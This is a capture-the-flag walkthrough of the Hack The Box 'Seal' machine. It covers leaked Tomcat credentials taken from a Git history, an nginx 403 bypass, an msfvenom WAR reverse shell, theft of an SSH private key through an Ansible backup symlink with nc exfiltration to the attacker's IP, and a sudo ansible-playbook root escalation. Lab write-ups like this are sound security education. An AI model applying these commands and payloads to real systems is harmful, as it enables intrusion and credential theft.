Link: https://app.hackthebox.eu/machines/Seal
Enumeration
TCP Port Scan

Our nmap scan reveals 2 open ports and 21 other filtered ports, most of which are of an unknown service.
UDP Port Scan

We also have 15 potentially open UDP ports.
Web Server
Navigating to the server over HTTPS on port 443 reveals a certificate for seal.htb. I modified my /etc/hosts file to point our IP at this domain.
Accepting the risk and continuing takes us to a page named Seal Market that offers a vegetable subscription for European customers. The most interesting thing on this page is a contact form, however attempting to submit anything just packages it up as query parameters and submits it back to this index page, so it is useless.
We can perform a gobuster scan with the following command:
gobuster dir -u https://seal.htb -w /usr/share/wordlists/dirb/big.txt -k
The -k option will allow the scan to proceed and ignore the invalid SSL certificate.
Our scan produces several interesting results.
- By navigating to
/]we get a 400 error page showing our web server version is Apache Tomcat/9.0.31 (Ubuntu). - gobuster can see the asset directories such as /images, /css, /icon, /js, but attempting to access these results in a 404 error
- It also found a /manager endpoint. Accessing this returns a 403 forbidden. Trying to set it as a subdomain also fails. It seems to want to redirect to port 80 (HTTP) and navigate to /manager/html. Because port 80 is not accessible from the outside we cannot access this.
I performed another scan just to check for subdomains:
gobuster vhost -u https://seal.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -k
But nothing useful turned up.
TCP Port Scan Take 2
I performed another port scan for all ports and my scan revealed different results. This time only ports 22, 443 and a new 8080 appeared.

Web Server – Port 8080
Navigating to port 8080 shows a gitbucket server. I was able to register for a new account using the info:
Username: test1
Password: test
Email: [email protected]
Navigating to our Dashboard, we can see two repositories. One named root/seal_market and the other root/infra.
root/seal_market
This appears to be the source code for the seal market front page on port 443.
One of the most interesting files is the nginx settings
location /admin/dashboard {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://localhost:8000;
proxy_read_timeout 90;
proxy_redirect http://localhost:8000 https://0.0.0.0;
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
# try_files $uri $uri/ =404;
}
There is a block identical to this for /manager/html and /host-manager/html. Looking at the nginx documentation, it will return 403 for each of these end points unless we provide a valid client certificate. The nginx configuration says these can be found here:
ssl_certificate /var/www/keys/selfsigned.crt;
ssl_certificate_key /var/www/keys/selfsigned.key;
ssl_client_certificate /var/www/keys/selfsigned-ca.crt;
We would need the ssl_client_certificate.
Looking inside of the commit history, commit 971f3aa3f0a0cc8aac12fd696d9631ca540f44c7 reveals a username and password for us inside of /tomcat/tomcat-users.xml:
<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
Using this password on gitbucket for Luis allows us to login, however it does not work for SSH.
There is also an issue mentioning Tomcat mutual authentication but luis mentions they are using Nginx instead. The ToDo mentions to remove mutual authentication for dashboard & to disable manager & host-manager.
root/infra
This appears to be scripts related to adding a user named tomcat, installing the latest directory and configuring the server. The script appears to run as root.
403 Bypass
I found this github here, that mentions adding a /;/ in the URL can bypass the 403 check and sure enough it works
Now we can navigate to /manager/;/html as it bypasses nginx’s check and use the tomcat credentials for access.
WAR Reverse Shell
On the /manager/;/html page, we can upload a .war file. Using msfvenom let’s create a reverse shell
msfvenom -p java/shell_reverse_tcp lhost=10.10.xx.xxx lport=4444 -f war -o pwn.war
Now we can upload the file and then open the dev tools network tab. Hit send, it will fail. Right click, Edit and Resend and now add the /;/ to the url and send, it will upload our payload.

Now we just need to navigate to /pwn and our netcat listener will receive a hit! Running whoami shows we are tomcat.
Enumeration as tomcat
Running ps aux shows we have a script running as root
root 151777 0.0 0.0 2608 604 ? Ss 23:13 0:00 /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
Inside of this run.yml we can see that anything that is in the /var/lib/tomcat9/webapps/ROOT/admin/dashboard folder, including sym links, will be copied to a backup zip.
So we can try and copy the private .ssh key of luis to this directory
# cd into the uploads folder that we can write to
/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
# create symlink of the private key
ln -s /home/luis/.ssh /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
# copy the zip file so we can access it
cp /opt/backups/files/backup-2021-09-01-23:20:33.gz /tmp/files.gz
# navigate to /tmp (alternatively save back in /uploads)
cd /tmp
# unzip
gzip -kd files.gz
# untarball
tar -xf files
# get to the files
cd dashboard/uploads/.ssh
# on my machine
nc -l -p 4443 > seal_key
# send the key to me
nc 10.10.xx.xxx 4443 < id_rsa
# on my machine
ssh [email protected] -i seal_key
Now we just copy this key and can log in as luis!
Enumeration as Luis
Grab the flag in our home directory as user.txt.
Running sudo -l reveals we can run ansible-playbook as root. Looking up GTFObins, we can do the following to gain a root shell:
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF
Root
Getting to root was as easy as that and we can grab the flag in /root/root.txt.
Conclusion
Getting the shell as tomcat was not too difficult, I have done a similar box where I uploaded a .war file. Upgrading from tomcat to luis took me several hours, I kept missing the script running for ansible and then the ability to copy .ssh for the backup.
Finally getting root was trivially easy, a simple sudo -l showed we can run that same ansible as root and GTFObins had a simple script to escalate us to root.